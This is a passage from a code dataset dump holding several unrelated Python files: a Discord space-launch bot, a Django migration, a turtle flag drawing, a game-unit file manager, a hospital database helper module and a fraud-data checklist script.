embed)\n elif resp.status == 429:\n await ctx.send(embed = self.compose_error_embed('Too many requests. Wait a couple of minutes and try again.'))\n else:\n await ctx.send(embed = self.compose_error_embed('Call to the space devs failed. Response status: ' + str(resp.status)))\n return\n else:\n embed = self.parse_from_file_and_compose_embed (self.cache_of_space_launches_json_path)\n await ctx.send(embed = embed)\n\n def should_call_the_api (self):\n if os.path.isfile(self.cache_of_space_launches_json_path) and os.path.isfile(self.cache_of_space_launches_time_path):\n with open(self.cache_of_space_launches_time_path,\"r\") as file:\n call_timestamp = datetime.strptime(file.readline(),THE_SPACE_DEVS_TIMESTAMP_FORMAT)\n now_timestamp = datetime.now()\n return (now_timestamp - call_timestamp).total_seconds() > 3600\n else:\n return True\n \n def parse_from_file_and_compose_embed(self, json_file): # extracted for testing purposes \n ''' This function expects that the json_file is already verified for existence '''\n with open(json_file,'r') as file:\n try:\n dom = json.load(file)\n except json.JSONDecodeError:\n return self.compose_error_embed('Could not parse the response from space devs.')\n embed = self.main_info_embed()\n for index, result in enumerate (dom['results']):\n self.add_embed_field_for_upcominglaunch(index, result, embed)\n return embed\n\n def compose_error_embed(self, error_msg):\n embed = self.main_info_embed()\n embed.add_field(name = 'ERROR:', value= error_msg, inline=True)\n return embed\n\n def main_info_embed (self):\n result = discord.Embed(\n title=\"Upcoming launches\", \n url=THE_SPACE_DEVS_HOME_URL, \n description=\"Provided by the space devs api. Timestamps = UTC\",\n color=NOTIFY_EMBED_COLOR\n )\n return result\n\n def add_embed_field_for_upcominglaunch(self, index, result_json, embed):\n try:\n try:\n windows_start = datetime.strptime(result_json[\"window_start\"],'%Y-%m-%dT%H:%M:%SZ')\n windows_start = windows_start.strftime('%a, %d %b at %H:%M')\n except TypeError:\n windows_start = \"No start time\" \n try:\n service_provider = result_json[\"launch_service_provider\"][\"name\"]\n except TypeError:\n service_provider = \"No provider\"\n \n try: \n mission = result_json[\"mission\"][\"name\"]\n except TypeError:\n mission = \"No mission\" \n try:\n rocket_configuration = result_json[\"rocket\"][\"configuration\"][\"name\"]\n except TypeError:\n rocket_configuration = \"No configuration\"\n try:\n pad_location = result_json[\"pad\"][\"location\"][\"name\"]\n except TypeError:\n pad_location = \"No location\"\n except KeyError:\n embed.add_field(name = 'ERROR:', value= ' '.join ([index+1, 'Could not parse launch data.']),inline = False)\n name = str(index+1) + '. ' +service_provider+' : '+ mission+ ' ('+ windows_start +') '\n value = '; '.join([pad_location, rocket_configuration])\n embed.add_field(name = name, value = value, inline = False)\n return\n\ndef setup(bot: commands.Bot):\n bot.add_cog(SpaceDevs(bot))\n\n \n","sub_path":"nerdlandbot/commands/space_launches.py","file_name":"space_launches.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"400719946","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CronSchedule',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('hour', models.CharField(default=b'*', max_length=b'2')),\n ('minute', models.CharField(default=b'*', max_length=b'2')),\n ('day', models.CharField(default=b'*', max_length=b'1', choices=[(b'1', b'Monday'), (b'2', b'Tuesday'), (b'3', b'Wednesday'), (b'4', b'Thursday'), (b'5', b'Friday'), (b'6', b'Saturday'), (b'7', b'Sunday')])),\n ('command', models.CharField(default=b'/home/pi/Projects/HomeAutomation/home_automation/automation/run_led.sh', max_length=b'100')),\n ('cron_job', models.CharField(default=b'* * * * * /home/pi/Projects/HomeAutomation/home_automation/automation/run_led.sh', max_length=b'150')),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('website', models.URLField(blank=True)),\n ('picture', models.ImageField(upload_to=b'profile_images', blank=True)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","sub_path":"home_automation/automation/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"532110007","text":"#Dilip Kumar Nasu\n#810867407\n#cs61002:AP1\n#American_flag.py\n\nfrom turtle import *\nx=-86 #intializing cordinates to print starts\ny=77\na=-76\nb=68\nup()\nsetpos(-100,-100) #start position of turtle\ndown()\nspeed(10000)\ndef get_color(n): #function to return color values using differnt mathametical expressions as condition\n if n%2==0:\n r=0\n g=0\n b=0\n return r,g,b\n if n%5==2:\n r=1\n g=0\n b=0\n return r,g,b\n if n%4==1:\n r=0\n g=0\n b=1\n return r,g,b\n if n%2==1:\n r=1\n g=1\n b=1\n return r,g,b\ndef draw_rect(rectlen,recthig,clor): # function to draw rectangle\n rc=get_color(clor)\n color(rc)\n forward(rectlen)\n right(90)\n backward(recthig)\n right(90)\n forward(rectlen)\n left(90)\n forward(recthig)\n left(90)\ndef draw_strips(stlen,sthig,clor): # function to draw strips in the flag\n for rect in range(7):\n begin_fill()\n sc=get_color(clor)\n color(sc)\n forward(stlen)\n left(90)\n forward(sthig)\n left(90)\n forward(stlen)\n right(90)\n forward(sthig)\n right(90)\n end_fill()\n right(90)\n color(1,1,1)\n forward(15)\ndef star_draw(cir,clor): # function to draw star using for loop\n for i in range(5):\n begin_fill()\n strc=get_color(clor)\n color(strc)\n forward(cir)\n right(144)\n end_fill()\ndef star_loop(sl): # loop to print stars inside canton\n for cir in range(sl):\n global x # variable 'x' use inside the function is treated as local variable because no valve for 'x' is intiatized inside the function, making 'x' a global varible to use global value initialized at the top\n up()\n goto(x,y)\n down()\n star_draw(6,3)\n x=x+22\ndef star_loop_inner(sli): # another loop to print remaing stars in canton\n for cir in range(sli):\n global a # variable 'a' use inside the function is treated as local variable because no valve for 'a' is intiatized inside the function, making 'a' a global varible to use global value initialized at the top\n up()\n goto(a,b)\n down()\n star_draw(6,3)\n a=a+22\ndef draw_canton(canlen,canhig,clor): # function to draw canton\n begin_fill()\n cc=get_color(clor)\n color(cc)\n forward(canhig)\n left(90)\n forward(canlen)\n left(90)\n forward(canhig)\n left(90)\n forward(canlen)\n right(90)\n end_fill()\ndef draw_flag(A): #funtion to draw flag\n draw_rect(A,195,2)\n draw_strips(A,15,7)\n draw_canton(142,105,9)\ndraw_flag(370.5) # calling draw_flag function\nstar_loop(6) # calling star_loop function with 6 iterations\nwhile (x>=21.5): # By running star_loop function the x value is manupulated by the loop, using the manupulated value of x a condition to change the value of y\n y=y-18\n up()\n goto(x,y)\n down()\n x=-86\n star_loop(6)\n if(y<=10):# condition to terminate while loop\n break\nstar_loop_inner(5)# calling star_loop_ function with 5 iterations\nwhile (a>=18.35):# By running star_loop function the x value is manupulated by the loop, using the manupulated value of x a condition to change the value of y\n b=b-18\n up()\n goto(-76.33,b)\n down()\n a=-76\n star_loop_inner(5)\n if(b<=20):# condition to terminate while loop\n break\nhideturtle()\n","sub_path":"python/American_flag.py","file_name":"American_flag.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"471871788","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 23 21:57:55 2020\n\n@author: sruth\n\"\"\"\n\ndef search(list,n): \n for i in range(len(list)): \n if list[i] == n: \n return True\n return False \nlist = [1, 2, 'India', 4,'cricket', 6] \nn = 'India'\nif search(list, n): \n print(\"Found\") \nelse: \n print(\"Not Found\")","sub_path":"program to search element in a list.py","file_name":"program to search element in a list.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"411618127","text":"def interface():\n quiting = False\n while not quiting:\n print(\"Good day Commander, welcome to our training facility where you can compose divisions to suit your needs\")\n print(\"You have 3 options to choose from:\")\n print(\"1. Print divisions.\")\n print(\"2. Call a new unit.\")\n print(\"3. Delete the existing unit.\")\n print(\"4. Quit\")\n decision = input()\n if not decision.isdigit():\n print(\"Please use numbers only\")\n decision = int(decision)\n if int(decision) not in (1, 2, 3, 4):\n print(\"You have only 3 choices, commander\")\n if decision == 1:\n divisions = read_file()\n division = read(divisions)\n elif decision == 2:\n attributes = get_values()\n attributes = convert_to_string(attributes)\n add_to_file(attributes)\n print(\"The unit was successfully added to the file\")\n elif decision == 3:\n print(\"Please choose one of the available units to delete it:\")\n divisions = read_file()\n division = read_interface(divisions)\n delete_division(division)\n print(\"The unit was successfully disbanded\")\n elif decision == 4:\n quiting = True\n \n\n# Add to file\ndef add_to_file(attributes):\n with open(\"Divisions.txt\", \"a\") as f:\n f.write(attributes)\n f.write(\"\\n\")\n\n\ndef convert_to_string(attributes):\n string = \"\"\n for i in attributes:\n string += i\n string += \",\"\n return string\n\n\ndef get_values():\n attributes = []\n name = input(\"Name your division: \")\n organisation = ask_for_number(\"How organised is that division? \")\n soft_attack = ask_for_number(\"How much soft attack do they have? \")\n hard_attack = ask_for_number(\"How much hard attack? \")\n breakthrough = ask_for_number(\"How are they doing with breakthrough? \")\n defense = ask_for_number(\"How much defense do they have? \")\n hardness = ask_for_number(\"How hard are they? \")\n armor = ask_for_number(\"How hard to penetrate are they? \")\n piercing = ask_for_number(\"What is their penetration? \")\n combat_width = ask_for_number(\"How much space do they need? \")\n attributes.append(name)\n attributes.append(organisation)\n attributes.append(soft_attack)\n attributes.append(hard_attack)\n attributes.append(breakthrough)\n attributes.append(defense)\n attributes.append(hardness)\n attributes.append(armor)\n attributes.append(piercing)\n attributes.append(combat_width)\n return attributes\n \n\ndef ask_for_number(question):\n done = False\n number = \"\"\n while not done:\n number = input(question)\n done = verify_number(number)\n return number\n\n\n# Utility loops\ndef verify_number(number, i = None):\n if not number.isdigit():\n print(\"Please insert a number, not a word\")\n return False\n number = int(number)\n if i != None and not 0 <= number <= 1 :\n print(\"Hardness can only have values between 0 and 1\")\n return False\n return True\n\n\ndef choose_division_loop(divisions):\n done = False\n while not done:\n choice = input()\n if not choice.isdigit():\n print(\"Please insert a digit\")\n elif not int(choice) in [x for x in range(1, len(divisions) + 1)]:\n print(\"Please stay within the range\")\n else:\n choice = int(choice) -1\n print(\"You chose the %s\" % (divisions[choice][0]))\n return divisions[choice]\n\ndef read(divisions):\n counter = 0\n for i in divisions:\n counter += 1\n print(\"\"\"Index: %s\nDivision name: %s\nOrganisation: %s\nSoft Attack: %s\nHard Attack: %s\nBreakthrough: %s\nDefense: %s\nHardness: %s\nArmor: %s\nPiercing: %s\nCombat width: %s\n\"\"\" % (counter, i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9]))\n\n# Read the file\ndef read_interface(divisions):\n counter = 0\n for i in divisions:\n counter += 1\n print(\"\"\"Index: %s\nDivision name: %s\nOrganisation: %s\nSoft Attack: %s\nHard Attack: %s\nBreakthrough: %s\nDefense: %s\nHardness: %s\nArmor: %s\nPiercing: %s\nCombat width: %s\n\"\"\" % (counter, i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9]))\n return choose_division_loop(divisions)\n \n\ndef read_file():\n divisions = []\n with open(\"Divisions.txt\", \"r\") as f:\n for line in f:\n if verify_division(line):\n line = line.split(\",\")\n line.remove(\"\\n\")\n divisions.append(line)\n return divisions\n\ndef verify_division(line):\n line = line.split(\",\")\n line.remove(\"\\n\")\n if len(line) == 10:\n return True\n else:\n print(\"You have an incorrect division\" + str(line))\n \n# Delete file\ndef delete_division(division):\n string = \"\"\n temp_storage = []\n for i in division:\n string += i\n string += \",\"\n string += \"\\n\"\n with open(\"Divisions.txt\", \"r+\") as f:\n for line in f:\n if line == string:\n pass\n else:\n temp_storage.append(line)\n f.truncate(0)\n with open(\"Divisions.txt\", \"a\") as f:\n for i in temp_storage:\n f.write(i)\n\n \n","sub_path":"Hearts of Iron/Custom.py","file_name":"Custom.py","file_ext":"py","file_size_in_byte":5222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"340868412","text":"from ..db.queries.user_errors import set_user_error\nfrom ..wrappers import checker\nfrom .utils import set_is_valid, fill_map, set_invalid_reason\nfrom ..logs import logger\nfrom ..db.queries.metadata import get_id_roles\n\n\n@checker('Data cleaning : entity source pk value checked')\ndef check_entity_source(df, added_cols, selected_columns, synthese_info, import_id, schema_name):\n try:\n fields = [field for field in synthese_info]\n\n logger.info('CHECKING ENTITY SOURCE PK VALUE:')\n\n if 'entity_source_pk_value' not in fields:\n logger.info('- no entity source pk value provided : set gn_pk column as entity source pk column')\n added_cols['entity_source_pk_value'] = 'gn_pk' # récupérer gn_pk en conf\n else:\n # check duplicates\n logger.info('- checking duplicates in entity_source_pk_value column (= %s user column)',\n selected_columns['entity_source_pk_value'])\n\n df['temp'] = df.duplicated(selected_columns['entity_source_pk_value'], keep=False)\n df['temp'] = ~df['temp'].astype('bool')\n\n set_is_valid(df, 'temp')\n n_entity_duplicates = df['temp'].astype(str).str.contains('False').sum()\n\n logger.info('%s duplicates errors in entity_source_pk_value column (= %s user column)', n_entity_duplicates,\n selected_columns['entity_source_pk_value'])\n\n if n_entity_duplicates > 0:\n set_user_error(import_id, 11, selected_columns['entity_source_pk_value'], n_entity_duplicates)\n set_invalid_reason(df, schema_name, 'temp', import_id, 11, selected_columns['entity_source_pk_value'])\n\n except Exception:\n raise\n\n\n@checker('Data cleaning : id_digitizer checked')\ndef check_id_digitizer(df, selected_columns, synthese_info, import_id, schema_name):\n try:\n # check if id_digitizer exists in t_roles\n fields = [field for field in synthese_info]\n\n if 'id_digitiser' in fields:\n logger.info('CHECKING ID DIGITIZER :')\n ids = df[selected_columns['id_digitiser']].dropna().unique().tolist()\n if len(ids) > 0:\n id_roles = get_id_roles()\n is_invalid_id = any(id not in id_roles for id in ids)\n if is_invalid_id:\n df['temp'] = df[selected_columns['id_digitiser']] \\\n .fillna(id_roles[0]) \\\n .isin(id_roles)\n set_is_valid(df, 'temp')\n\n n_invalid_id_digit = df['temp'].astype(str).str.contains('False').sum()\n\n logger.info('%s invalid id_digitizer detected in %s column', n_invalid_id_digit,\n selected_columns['id_digitiser'])\n\n # set front interface error\n if n_invalid_id_digit > 0:\n set_user_error(import_id, 15, selected_columns['id_digitiser'], n_invalid_id_digit)\n set_invalid_reason(df, schema_name, 'temp', import_id, 15, selected_columns['id_digitiser'])\n\n except Exception:\n raise\n","sub_path":"backend/transform/check_other_fields.py","file_name":"check_other_fields.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"646259033","text":"def get_position(db, user):\n cur = db.execute('select p.name from employees as e join positions as p on e.position_id = p.id where e.login = ?', [user])\n res = cur.fetchone()\n return res[0] if res else None\n\ndef get_patient_info(db, pesel):\n return db.execute('select fname, lname from patients where pesel = ?', [pesel]).fetchone()\n\ndef add_new_patient(db, fname, lname, pesel):\n \"\"\"\n Tries to add new patient to database\n Error codes:\n -1: fname empty\n -2: lname empty\n -3: pesel malformed\n if ok returns positive number\n if patient already existed returns 0\n \"\"\"\n first_name = fname.strip()\n last_name = lname.strip()\n pesel = int(pesel)\n if len(first_name) == 0:\n return -1\n if len(last_name) == 0:\n return -2\n if len(str(pesel)) != 11:\n return -3\n try:\n db.execute('insert into patients (fname, lname, pesel) values (?, ?, ?)', [first_name, last_name, pesel])\n except:\n return 0\n else:\n db.commit()\n return 1\n \ndef patient_signed_in(db, pesel):\n cur = db.execute('select count(*) from files where patient_pesel = ? and discharge_d is null', [pesel])\n res = cur.fetchone()\n return True if res[0] > 0 else False\n \ndef register_patient(db, fname, lname, pesel):\n \"\"\"\n Registers patient in hospital\n Patient must be already added to database\n Error codes:\n -1: Patient's info does not match\n -2: Patient already in hospital\n -3: Patient not exists\n On success returns positive number\n \"\"\"\n first_name = fname.strip()\n last_name = lname.strip()\n pesel = int(pesel)\n errcode = 0\n db.execute('begin transaction')\n info = get_patient_info(db, pesel)\n if info:\n if info[0] == first_name and info[1] == last_name:\n if not patient_signed_in(db, pesel):\n db.execute('insert into files (patient_pesel, admission_d) values (?, datetime(\\'now\\'))', [pesel])\n db.commit()\n return 1\n else:\n errcode = -2\n else:\n errcode = -1\n else:\n errcode = -3\n db.rollback()\n return errcode\n \ndef get_employee_id(db, username):\n id = db.execute('select id from employees where login = ?', [username]).fetchone()\n return id[0] if id else None\n \ndef get_patients_allowed(db, username):\n cur = db.execute('select p.fname, p.lname, p.pesel, f.admission_d from patients p join files f on p.pesel = f.patient_pesel join assignments a on a.fil_id = f.id join employees e on e.id = a.employee_id where e.login = ? and f.discharge_d is null', [username])\n return cur.fetchall() \n \ndef get_patient_details_if_allowed(db, username, pesel):\n cur = db.execute('select p.fname, p.lname, p.pesel, f.admission_d from patients p join files f on p.pesel = f.patient_pesel join assignments a on a.fil_id = f.id join employees e on e.id = a.employee_id where e.login = ? and f.discharge_d is null and p.pesel = ?', [username, pesel]) \n return cur.fetchone()\n \ndef get_patient_details(db, pesel):\n return db.execute('select p.fname, p.lname, p.pesel, f.admission_d from files f join patients p on f.patient_pesel = p.pesel where f.discharge_d is null and p.pesel = ?', [pesel]).fetchone()\n \ndef get_assigned_personel_for_patient(db, pesel):\n cur = db.execute('select e.fname, e.lname, p.name, e.rights from employees e join positions p on p.id = e.position_id join assignments a on a.employee_id = e.id join files f on f.id = a.fil_id join patients pat on f.patient_pesel = pat.pesel where pat.pesel = ? and f.discharge_d is null order by e.rights desc', [pesel])\n return cur.fetchall()\n \ndef get_all_medical_personel(db):\n cur = db.execute('select e.fname || \" \" || e.lname || \" (\" || p.name || \")\", e.id from employees e join positions p on p.id = e.position_id where p.name in (\"Nurse\", \"Doctor\", \"Head physician\")')\n return cur.fetchall()\n \ndef add_assignment(db, pesel, employee_id):\n db.execute('begin transaction')\n cur = db.execute('select count(*) from assignments a join files f on f.id = a.fil_id where f.patient_pesel = ? and a.employee_id = ? and f.discharge_d is null', [pesel, employee_id])\n if cur.fetchone()[0] == 0:\n db.execute('insert into assignments (fil_id, employee_id) values ((select id from files where patient_pesel = ? and discharge_d is null),(select id from employees where id = ?))', [pesel, employee_id])\n db.commit()\n return True\n else:\n db.rollback()\n return False\n \ndef is_assigned(db, pesel, username):\n cur = db.execute('select count(*) from assignments a join employees e on e.id = a.employee_id join files f on f.id = a.fil_id where f.discharge_d is null and f.patient_pesel = ? and e.login = ?', [pesel, username])\n res = cur.fetchone()\n return True if res[0] > 0 else False\n \ndef remove_assignment(db, pesel, username):\n cur = db.execute('delete from assignments where fil_id = (select id from files where discharge_d is null and patient_pesel = ?) and employee_id = (select id from employees where login = ?)', [pesel, username])\n db.commit()\n \ndef get_current_history(db, pesel):\n cur = db.execute(\"select h.entry_d, d.name, h.drug_quantity || u.name, pr.name, e.fname || ' ' || e.lname || ' (' || p.name || ')' from history h join files f on f.id = h.fil_id join employees e on e.id = h.employee_id join positions p on p.id = e.position_id left join drugs d on d.id = h.drug_id left join units u on d.unit_id = u.id left join procedures pr on pr.id = h.procedure_id where f.patient_pesel = ? and f.discharge_d is null order by h.entry_d desc\", [pesel])\n return cur.fetchall()\n \ndef get_all_allowed_drugs(db, username):\n return db.execute(\"select d.id, d.name || ' [' || d.price || '$/' || u.name || ']' from drugs d join units u on d.unit_id = u.id where d.min_rights <= (select rights from employees where login = ?) and d.active = 1 order by d.name\", [username]).fetchall()\n \ndef get_all_allowed_procedures(db, username):\n return db.execute(\"select p.id, p.name || ' [' || p.price || '$]' from procedures p where p.min_rights <= (select rights from employees where login = ?) and p.active = 1 order by p.name\", [username]).fetchall() \n \ndef prescribe_drug(db, username, pesel, drug_id, quantity):\n \"\"\"\n Prescribes drug for specified patient pesel\n Error conditions:\n username not in database: -1\n pesel not in hospital: -2\n employee not assigned to pesel: -3\n drug does not exist: -4\n employee not allowed to prescribe the drug: -5\n If all good returns quantity\n If there is not enough returns how much there is\n \"\"\"\n errcode = 0\n db.execute('begin transaction')\n employee_id = get_employee_id(db, username)\n if employee_id:\n # find file id for the pesel - this verifies that pesel is in hospital\n file_id = db.execute('select id from files where patient_pesel = ? and discharge_d is null', [pesel]).fetchone()\n if file_id:\n file_id = file_id[0]\n # verify that employee is assigned to pesel\n if db.execute('select count(*) from assignments where fil_id = ? and employee_id = ?', [file_id, employee_id]).fetchone()[0] > 0:\n #check if drug exists\n if db.execute('select count(*) from drugs where id = ? and active = 1', [drug_id]).fetchone()[0] == 1:\n #check that employee is allowed to prescribe the drug\n drug_q = db.execute('select quantity from drugs where id = ? and min_rights <= (select rights from employees where id = ?)', [drug_id, employee_id]).fetchone()\n if drug_q:\n drug_q = drug_q[0]\n #check if there is enough to prescribe\n if drug_q >= quantity:\n db.execute('update drugs set quantity = quantity-? where id = ?', [quantity, drug_id])\n db.execute('insert into history (fil_id, entry_d, employee_id, drug_id, drug_quantity) values (?, datetime(\\'now\\'), ?, ?, ?)', [file_id, employee_id, drug_id, quantity])\n db.commit()\n return quantity\n else:\n errcode = drug_q\n else:\n errcode = -5\n else:\n errcode = -4\n else:\n errcode = -3\n else:\n errcode = -2\n else:\n errcode = -1\n db.rollback()\n return errcode\n \ndef order_procedure(db, username, pesel, proc_id):\n \"\"\"\n Order a procedure for a patient with specified pesel\n Error conditions:\n username not in database: -1\n pesel not in hospital: -2\n employee not assigned to pesel: -3\n procedure does not exist: -4\n employee not allowed to order the procedure: -5 \n if all good, returns positive number\n \"\"\"\n errcode = 0\n db.execute('begin transaction')\n employee_id = get_employee_id(db, username)\n if employee_id:\n # find file id for the pesel - this verifies that pesel is in hospital\n file_id = db.execute('select id from files where patient_pesel = ? and discharge_d is null', [pesel]).fetchone()\n if file_id:\n file_id = file_id[0]\n # verify that employee is assigned to pesel\n if db.execute('select count(*) from assignments where fil_id = ? and employee_id = ?', [file_id, employee_id]).fetchone()[0] > 0:\n #check if procedure exists\n if db.execute('select count(*) from procedures where id = ? and active = 1', [proc_id]).fetchone()[0] == 1:\n #check that employee is allowed to order the procedure\n if db.execute('select count(*) from procedures where id = ? and min_rights <= (select rights from employees where id = ?)', [proc_id, employee_id]).fetchone()[0] == 1:\n db.execute('insert into history (fil_id, entry_d, employee_id, procedure_id) values (?, datetime(\\'now\\'), ?, ?)', [file_id, employee_id, proc_id])\n db.commit()\n return 1\n else:\n errcode = -5\n else:\n errcode = -4\n else:\n errcode = -3\n else:\n errcode = -2\n else:\n errcode = -1\n db.rollback()\n return errcode\n \ndef discharge_patient(db, pesel):\n db.execute('begin transaction')\n file_id = db.execute('select id from files where patient_pesel = ? and discharge_d is null', [pesel]).fetchone()\n if file_id:\n file_id = file_id[0]\n db.execute('update files set discharge_d = datetime(\\'now\\') where id = (select id from files where patient_pesel = ? and discharge_d is null)', [file_id])\n #db.execute('delete from assignments where fil_id = ?', [file_id]) now done in trigger\n db.commit()\n return True\n db.rollback()\n return False\n \ndef get_all_active_drugs(db):\n return db.execute('select d.name, d.quantity||\\' \\'||u.name, d.price||\\'$ / \\'||u.name, d.id from drugs d join units u on d.unit_id = u.id where d.active = 1 order by d.name').fetchall()\n \ndef get_active_drug_details(db, id):\n return db.execute('select d.name, d.quantity||\\' \\'||u.name, d.price||\\'$ / \\'||u.name, d.id from drugs d join units u on d.unit_id = u.id where d.id = ? and active = 1 order by d.name', [id]).fetchone()\n \ndef order_drug(db, id, quantity, username):\n db.execute('begin transaction')\n count = db.execute('select count(*) from drugs where id = ? and active = 1', [id]).fetchone()[0]\n if count != 1:\n return False\n try:\n db.execute('update drugs set quantity = quantity+? where id = ?', [quantity, id])\n db.execute('insert into orders (drug_id, quantity, unit_price, order_d, employee_id) values (?, ?, (select price from drugs where id = ?), datetime(\"now\"), (select id from employees where login = ?))',[id, quantity, id, username])\n except:\n db.rollback()\n return False\n else:\n db.commit()\n return True\n \ndef get_drug_orders(db, id, num):\n return db.execute('select o.order_d, o.quantity||\" \"||u.name, o.unit_price||\"$ / \"||u.name from orders o join drugs d on o.drug_id = d.id join units u on d.unit_id = u.id where d.id = ? order by o.order_d desc limit 0, ?', [id, num]).fetchall()\n \ndef change_drug_price(db, id, price):\n db.execute('update drugs set price = ? where id = ?', [price, id])\n \ndef inactivate_drug(db, id):\n db.execute('update drugs set active = 0 where id = ?', [id])\n db.commit()\n \ndef get_all_medical_records(db, pesel):\n return db.execute(\"select f.id, h.entry_d, d.name, h.drug_quantity || u.name, pr.name, e.fname || ' ' || e.lname || ' (' || p.name || ')' from history h join files f on f.id = h.fil_id join employees e on e.id = h.employee_id join positions p on p.id = e.position_id left join drugs d on d.id = h.drug_id left join units u on d.unit_id = u.id left join procedures pr on pr.id = h.procedure_id where f.patient_pesel = ? order by h.entry_d desc\", [pesel]).fetchall()\n \ndef get_cost_report_query(d_from, d_to, categories):\n query = ''\n params = []\n if 'drugs' in categories:\n query += 'select o.order_d as Date, d.name as Name, \"Drugs\" as Category, e.lname||\" \"||e.fname as Employee, o.unit_price*o.quantity as Cost from orders o left join employees e on e.id = o.employee_id left join drugs d on d.id = o.drug_id where o.order_d between ? and ?'\n params.append(d_from)\n params.append(d_to)\n if 'procedures' in categories:\n if query != '':\n query += ' UNION ALL '\n query += 'select h.entry_d as Date, p.name as Name, \"Procedure\" as Category, e.lname||\" \"||e.fname as Employee, p.price as Cost from history h left join employees e on e.id = h.employee_id left join procedures p on p.id = h.procedure_id where h.procedure_id is not null and h.entry_d between ? and ?'\n params.append(d_from)\n params.append(d_to) \n if 'salaries' in categories:\n if query != '':\n query += ' UNION ALL '\n query += 'select datetime(\"now\", \"start of month\") as Date, \" Salary\" as Name, \" Salary\" as Category, e.lname||\" \"||e.fname as Employee, round(e.salary*( \\\n 12*strftime(\"%Y\", date(min(date(\"now\"), ?), \"start of month\")) + strftime(\"%m\", date(min(date(\"now\"), ?), \"start of month\")) - \\\n 12*strftime(\"%Y\", date(max(e.employment_d, ?), \"start of month\")) - strftime(\"%m\", date(max(e.employment_d, ?), \"start of month\")) \\\n ),2) as Cost from employees e where Cost > 0'\n params.append(d_to)\n params.append(d_to)\n params.append(d_from)\n params.append(d_from)\n return query, params\n \ndef get_cost_report_details(db, query, params, sorting):\n query = 'select * from (' + query + ') order by '\n if sorting in ['Date', 'Name', 'Category', 'Employee', 'Cost']:\n query += sorting\n if sorting in ['Date', 'Cost']:\n query += ' desc'\n else:\n query += 'Date desc' \n return db.execute(query, params).fetchall()\n\ndef get_cost_report_total(db, query, params):\n query = 'select sum(Cost) from (' + query + ')'\n return db.execute(query, params).fetchone()[0]\n \ndef get_cost_report_subtotals(db, query, params, sorting):\n query = ', sum(Cost) from (' + query + ') group by '\n if sorting in ['Name', 'Category', 'Employee']:\n query = sorting + query + sorting\n else:\n query = 'Category' + query + 'Category'\n query = 'select ' + query\n return db.execute(query, params).fetchall()\n \ndef get_cost_report(db, d_from, d_to, categories, options, sorting):\n db.execute('begin transaction')\n query, params = get_cost_report_query(d_from, d_to, categories)\n total = get_cost_report_total(db, query, params)\n subtotals = get_cost_report_subtotals(db, query, params, sorting) if 'subtotals' in options else None\n details = get_cost_report_details(db, query, params, sorting) if 'details' in options else None\n db.rollback()\n return (total, subtotals, details)","sub_path":"hospital/flaskr/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":16295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"128644210","text":"import os\r\n\r\nimport pandas as pd\r\n\r\nfrom fraud_home.resources.fraud_home import STRING\r\n\r\n\r\nclass ChecklistsObligatorias:\r\n \"\"\"\r\n Si al menos uno se activa\r\n \"\"\"\r\n\r\n def checklist1(self):\r\n \"\"\"Conocido Clan / familia reincidente\"\"\"\r\n # Este no se puede construir. Se deriva de la experiencia del tramitador\r\n\r\n @staticmethod\r\n def checklist2():\r\n \"\"\"\r\n Implicado con antecedentes de fraude recurrente y en conocimiento del Tramitador\r\n :return: This return a Dataframe with the columns 'id_siniestro', 'checklist2', where 'checklist2' counts the \r\n number of times an ID_FISCAL appears in the Blacklist\r\n \"\"\"\r\n\r\n df_test_id = pd.read_csv(STRING.id_input_prediction, sep=',',\r\n encoding='utf-8', quotechar='\"')\r\n df_test_id.columns = [col.replace('\"', '') for col in df_test_id.columns]\r\n df_test_id.columns = [col.replace(' ', '') for col in df_test_id.columns]\r\n file_list = [filename for filename in os.listdir(STRING.reporting_output) if filename.endswith('.csv')]\r\n df_bl = pd.read_csv(STRING.reporting_output + file_list[0], sep=';', encoding='utf-8')\r\n df_bl = df_bl.drop_duplicates(subset=['id_siniestro', 'nif_o_intm'], keep='last')\r\n df_bl = df_bl[['nif_o_intm']]\r\n df_bl['nif_o_intm'] = df_bl['nif_o_intm'].map(str)\r\n df_bl['Count'] = df_bl.groupby('nif_o_intm')['nif_o_intm'].transform('count')\r\n df_bl = df_bl.drop_duplicates(subset=['nif_o_intm'])\r\n file_df = df_test_id[['id_siniestro', 'id_fiscal']]\r\n file_df['id_fiscal'] = file_df['id_fiscal'].map(str)\r\n file_df['id_siniestro'] = file_df['id_siniestro'].map(int)\r\n file_df = file_df[['id_siniestro', 'id_fiscal']]\r\n file_df = pd.merge(file_df, df_bl, how='left', left_on='id_fiscal', right_on='nif_o_intm')\r\n del file_df['nif_o_intm']\r\n del file_df['id_fiscal']\r\n file_df['Count'] = file_df['Count'].fillna(0)\r\n file_df.columns = ['id_siniestro', 'checklist2']\r\n 